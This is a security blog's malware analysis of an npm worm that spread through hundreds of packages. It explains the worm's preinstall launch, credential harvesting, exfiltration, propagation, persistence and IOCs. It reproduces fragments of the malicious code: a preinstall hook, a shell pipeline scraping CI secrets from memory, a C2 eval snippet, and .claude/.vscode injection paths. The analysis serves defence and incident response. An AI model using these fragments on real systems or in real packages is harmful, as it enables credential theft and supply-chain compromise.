BLOG

New npm Worm Hits 400+ Packages Including Keyv, Cachable

Malware based on the open-sourced Mini Shai-Hulud worm steals GitHub, npm, AWS, and cloud credentials

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

New npm Worm Hits 400+ Packages Including Keyv, Cachable

Today an unknown threat actor released a new npm worm that started in the keyv and cachable ecosystems and has since expanded into at least 444 packages, publishing over 2000 malicious versions. One of the biggest hit victims is the ServiceTitan ecosystem, which had 100 packages compromised. The worm is part of the "Mini Shai-Hulud" family, meaning it can be traced back to the worm that was open-sourced by TeamPCP earlier this year. We're tracking the compromised packages here.

We took it apart to understand what it does, what it steals, and how it spreads.

The malware contains a 728 KB obfuscated JavaScript payload that's named either math_init.js or Math_Symbol.js (both payload files are exactly the same with the same file hash). It searches developer machines and CI runners for credentials including GitHub, npm, AWS, Kubernetes, Vault, Azure, Google Cloud, Terraform, Docker, Slack, and others. It exfiltrates what it finds, creates public GitHub dead drops, modifies repositories, and publishes poisoned npm packages. It also accepts JavaScript from its command server and passes it to eval(), giving the operator remote code execution on an infected system.

  • Threat type: Credential stealer, remote-access implant, and self-propagating npm worm

  • Affected ecosystem: npm, GitHub, GitHub Actions, developer workstations, and CI/CD runners

  • Initial execution: An npm preinstall script launches setup.mjs, which runs the payload with Bun

  • Credential targets: npm, GitHub, AWS, Vault, Kubernetes, Azure, GCP, Terraform, Docker, Slack, and local configuration files

  • Primary exfiltration: POST https://<dynamically-resolved-domain>:443/router

  • Fallback exfiltration: A public GitHub repository containing Base64-encoded files under results/

  • Propagation: Poisoned npm releases, GitHub workflow injection, and malicious commits across repository branches

  • Remote execution: The C2 response can contain an execute property that is evaluated as JavaScript

  • Payload SHA-256:
    fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb setup.mjs

    9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc math_init.js and Math_Symbol.js

Calling this an “npm malware incident” understates the risk.

npm is only the initial execution mechanism. The real target is the web of trust around a developer or CI runner: source repositories, package-publishing authority, cloud roles, secret managers, Kubernetes identities, and automated release workflows.

The worm turns each credential into a possible route to the next victim. A GitHub token becomes a malicious workflow. An npm token becomes a poisoned patch release. An AWS role becomes access to Secrets Manager. A Kubernetes token becomes access to namespace secrets. A Vault token becomes access to entire secret mounts. That is what makes Shai-Hulud-style attacks worms unique from ordinary infostealers. The stolen credentials are not merely sold or stored. They are immediately weaponized to create new trusted delivery paths.

Patient 0 - Jared Wray

It appears this attack started with a compromise of keyv and cacheable maintainer Jared Wray's npm account. As of this publishing, he's still unable to regain access to his account, and unable to get a response from GitHub or npm. He's taken to X to communicate what's happening and try to get help.

Overview of the malicious behavior

The package presents itself as @onereach/authorizer-helper version 0.0.13, but its installation behavior has nothing to do with authorization helpers. The important part of package.json is only two lines that show the attack begins during installation, before an application imports or calls the package:

"scripts": {
  "preinstall": "node setup.mjs"
}

The setup.mjs dropper identifies the host operating system and architecture, locates a suitable Bun runtime, and downloads Bun 1.3.13 if one is not already available. It supports Linux, macOS, Windows, ARM64, x64, and separate musl/Alpine builds. It then launches math_init.js.

Bun isn't just an implementation detail. A giant Bun-generated bundle creates a lot of noise, and many security tools still focus their JavaScript detections on conventional Node.js patterns. The result is a malicious program hidden inside hundreds of kilobytes of bundled runtime code.

A lot of obfuscation for an “authorization helper”

The math_init.js file is 727,680 bytes and contains only two extremely long lines. Most meaningful names have been replaced with generated identifiers. The payload uses several overlapping obfuscation layers:

  • A rotated table containing more than 4,600 encoded strings

  • A custom Base91-style decoder

  • Split strings assembled only at use sites

  • Encrypted and compressed embedded scripts and configuration

  • Flattened control flow and generated function names

  • Broad try/catch blocks that discard errors

This initially makes the file look like an incomprehensible wall of generated JavaScript. Once the string table is reconstructed, however, the attack becomes very clear. Names such as getHotspots, readHotspots, listSecrets, getSecretValue, installTokenMonitor, commitToRepo, and publishPackage start appearing throughout the program.

And yes, those names are accurate descriptions of what the code does.

What does the worm steal?

The worm begins with three broad collectors: local files, shell-accessible data, and process environment variables. Those results are then fed into more specialized collectors for cloud and development platforms.

Local developer credentials

The filesystem collector searches operating-system-specific “hotspots,” including:

  • .env files and application configuration

  • .npmrc and npm authentication data

  • Git credentials and GitHub CLI state

  • SSH keys and configuration

  • ~/.aws/credentials and ~/.aws/config

  • Azure access-token and MSAL caches

  • Google Cloud credential databases

  • Google application-default credentials

  • Terraform credentials

  • Docker authentication

  • Kubernetes configuration

  • Vault tokens

  • .claude and .vscode configuration

  • Bitcoin wallet data, including ~/.bitcoin/wallet.dat

The collector applies regular expressions for GitHub tokens, npm tokens, AWS credentials, GCP and Azure keys, Slack tokens, Docker authentication, Kubernetes tokens, and generic passwords or API keys.

It's not looking for one specific secret, but instead is trying to turn any developer machine or CI runner into a collection point for every other system that trusts it.

Process and shell data

The shell collector captures the process environment and runs commands synchronously. One Linux command fragment attempts to extract GitHub Actions-style secret objects from accessible memory or process state:

sudo python3 | tr -d '\0' |
grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' |
sort -u

That is a particularly important capability on shared or long-lived CI runners. Secrets that never exist in a source file may still be present in environment variables, temporary files, command output, or process memory.

AWS, Kubernetes, and Vault become secondary victims

Finding a cloud credential is only the beginning. The worm contains clients that immediately test and expand the access it discovers.

AWS metadata and Secrets Manager

The payload talks to the standard EC2 and ECS workload-credential endpoints:

http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2

It supports local AWS profiles, EC2 IMDSv2, ECS task credentials, access keys, secret keys, and session tokens. With working credentials it enumerates regions and queries AWS Secrets Manager using operations equivalent to ListSecrets and GetSecretValue.

So an exposed CI role does not only reveal the role’s token. It may expose every application secret that role is permitted to read.

Kubernetes service accounts

The worm detects Kubernetes environments and reads the default service-account mount:

/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace

It can also extract bearer tokens from kubeconfig files and query secrets available to the compromised identity.

HashiCorp Vault

Vault collection supports VAULT_TOKEN, ~/.vault-token, CI-runner locations, container-mounted tokens, Kubernetes authentication, and AWS IAM authentication.

After authenticating, the worm enumerates mounts through /v1/sys/mounts and reads both KV v1 and KV v2 secrets. It also tries common mount names such as secret, kv, cubbyhole, and secret-v2.

This is a recurring theme throughout the payload: steal one credential, then use its permissions to find the next layer of credentials.

How the malware exfils data

The worm has two main exfiltration paths. The primary C2 is a domain that can change, and the second is a GitHub dead-drop.

Primary C2: a domain that can change

The preferred sender resolves an attacker-controlled domain through an embedded contract or dead-drop mechanism. Once resolved, collected results are sent to:

POST https://<contract-supplied-domain>:443/router

The domain is deliberately not stored as a stable plaintext IOC. The attacker can change the destination without publishing a new copy of the npm package.

Results are serialized into JSON envelopes. Large collections are buffered and split into chunks, with retry logic for transient failures.

Then there is the most dangerous part of the entire sender. After receiving a response, it parses the returned JSON and checks for an execute property:

const responseObject = await response.json();

if (responseObject.execute) {
  await eval(responseObject.execute);
}

This is not just data theft. The C2 server can send arbitrary JavaScript back to the victim and run it with the privileges of the npm installation process.

GitHub as a dead-drop service

If the primary sender is unavailable, the worm tries every valid GitHub token it has collected. With a suitable token, it creates a public repository through the GitHub API and uploads stolen data under a results/ directory.

The files look approximately like this:

results-<timestamp>-<counter>.json
results-<timestamp>-<counter>.json.p1
results-<timestamp>-<counter>.json.p2

Each file contains Base64-encoded JSON. Large results are split into numbered parts and committed with exponential retry logic.

Repositories connected to this campaign use the description or marker `Shai-Hulud: Here We Go Again`. There are already over 160 of these public repos in GitHub.

When configured, the worm even double-Base64-encodes the stolen GitHub token and places it in the exfiltration envelope or related commit metadata.

Using GitHub this way gives the attacker reliable global infrastructure, valid TLS, ordinary-looking API traffic, and a data store that defenders may initially mistake for normal developer activity.

The npm worm component

This payload doesn't stop after stealing npm credentials. It uses them.

The worm queries npm’s whoami, token, organization, package metadata, and OIDC publishing endpoints. It identifies packages the victim can publish and then performs the following sequence:

  1. Download the latest package tarball.

  2. Extract it into a temporary directory.

  3. Open package/package.json.

  4. Add @opensearch/setup as an optional dependency.

  5. Increment the patch version.

  6. Repackage the modified directory.

  7. Attempt to generate believable Sigstore/npm provenance.

  8. Publish the poisoned release.

The injected configuration is effectively:

"optionalDependencies": {
  "@opensearch/setup": "<attacker-controlled version>"
}

Why an optional dependency? Because package managers will attempt to install it without making the parent package obviously fail on every unsupported environment. It gives the worm another quiet route into downstream builds.

The worm can publish with a stolen npm token or obtain a trusted-publishing token by exchanging a GitHub Actions OIDC identity at:

https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<package>

It requests the audience npm:registry.npmjs.org using ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL.

That is a nasty upgrade over simply stealing .npmrc. Removing long-lived npm tokens from CI is good security practice, but this worm also understands the OIDC workflow intended to replace them.

GitHub becomes another propagation engine

The worm validates GitHub tokens, checks their capabilities, enumerates repositories, and looks for workflow authority.

With a workflow-capable token, it installs or modifies GitHub Actions content intended to harvest more secrets and continue the infection. The current campaign has been associated with:

.github/workflows/codeql_analysis.yml

using a workflow display name resembling Run Copilot.

If workflow propagation is unavailable, the payload falls back to branch injection. It enumerates eligible branches and pushes malicious files using GitHub API and GraphQL commit operations.

The code contains explicit support for these targets:

.vscode/tasks.json
.claude/<worm-payload>
.claude/settings.json
.claude/setup.mjs
.vscode/setup.mjs

This is a clever expansion of the attack surface. A poisoned package reaches builds; a poisoned workflow reaches CI secrets; a poisoned .vscode task reaches developers when they open a project; and malicious Claude configuration targets AI-assisted development environments.

One stolen token can therefore become many poisoned repositories, packages, workflows, and developer machines.

Persistence and anti-analysis

The payload contains an embedded Bash program launched through a pattern equivalent to:

bash -s -- <arguments>

The script is passed through standard input and is described internally as installing a GitHub-token monitor. Persistence names associated with this sample include:

com.user.gh-token-monitor
gh-token-monitor.service

Those names correspond to macOS LaunchAgent and Linux systemd-style persistence.

The worm also creates a lock under the operating system temporary directory:

tmp.dpkg_14527.lock

It checks for analysis and CI conditions, can respawn itself as a detached child, suppresses most exceptions, removes its lock during normal cleanup, and explicitly exits with status zero.

That last behavior matters. A package installation may appear to finish normally even after the malware has failed one exfiltration path, found another, and stolen everything available to it.

Incidence response steps

If this payload ran on a workstation or CI runner, assume every credential available to that process was exposed. A clean npm install log is not evidence that nothing happened. Start with containment:

  1. Isolate the affected host or runner.

  2. Preserve npm, GitHub, cloud, endpoint, and network logs.

  3. Rebuild disposable CI runners from a trusted image.

  4. Revoke active sessions before issuing replacement credentials.

Rotate GitHub, npm, AWS, Vault, Kubernetes, Azure, GCP, Terraform, Docker, Slack, and application secrets from a known-clean system.

In GitHub, search for:

  • New public repositories containing results/

  • Repository descriptions containing Shai-Hulud

  • Unexpected commits across many branches

  • New .claude, .vscode, or .github/workflows content

  • codeql_analysis.yml with an unexpected Run Copilot workflow

  • Unexplained Actions runs and OIDC token requests

  • API calls creating repositories or writing under contents/results/

In npm, review every package controlled by the affected maintainer for:

  • Unexpected patch releases

  • A new @opensearch/setup optional dependency

  • Publishing from unfamiliar systems or addresses

  • OIDC token exchanges

  • Unexpected provenance generation

  • Changes to trusted-publishing configuration

Indicators of Compromise (IOCs)

Malicious files

math_init.js
setup.mjs
tmp.dpkg_14527.lock
gh-token-monitor.service
com.user.gh-token-monitor

SHA-256 hashes

fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb setup.mjs 
9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc math_init.js and Math_Symbol.js

Package and repository indicators

@opensearch/setup
.github/workflows/codeql_analysis.yml
.claude/setup.mjs
.claude/settings.json
.vscode/setup.mjs
.vscode/tasks.json
Shai-Hulud: Here We Go Again
Run Copilot
results-<timestamp>-<counter>.json
results-<timestamp>-<counter>.json.p<number>

URL

 https://npm-cache.com/router

Network indicators

POST https://<contract-supplied-domain>:443/router
https://api.github.com/user/repos
https://api.github.com/repos/<owner>/<repo>/contents/results/
https://api.github.com/search/commits?q=
https://registry.npmjs.org/-/whoami
https://registry.npmjs.org/-/npm/v1/tokens
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2

The malware makes a call to an ethereum address and resolves this url to exfiltrate to: https://npm-cache.com/router. Detection should focus on the /router path, npm/Bun process ancestry, credential-access behavior, unusual GitHub repository creation, and subsequent publication activity rather than relying only on domain blocklists.

Campaign markers

IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients
thebeautifulmarchoftime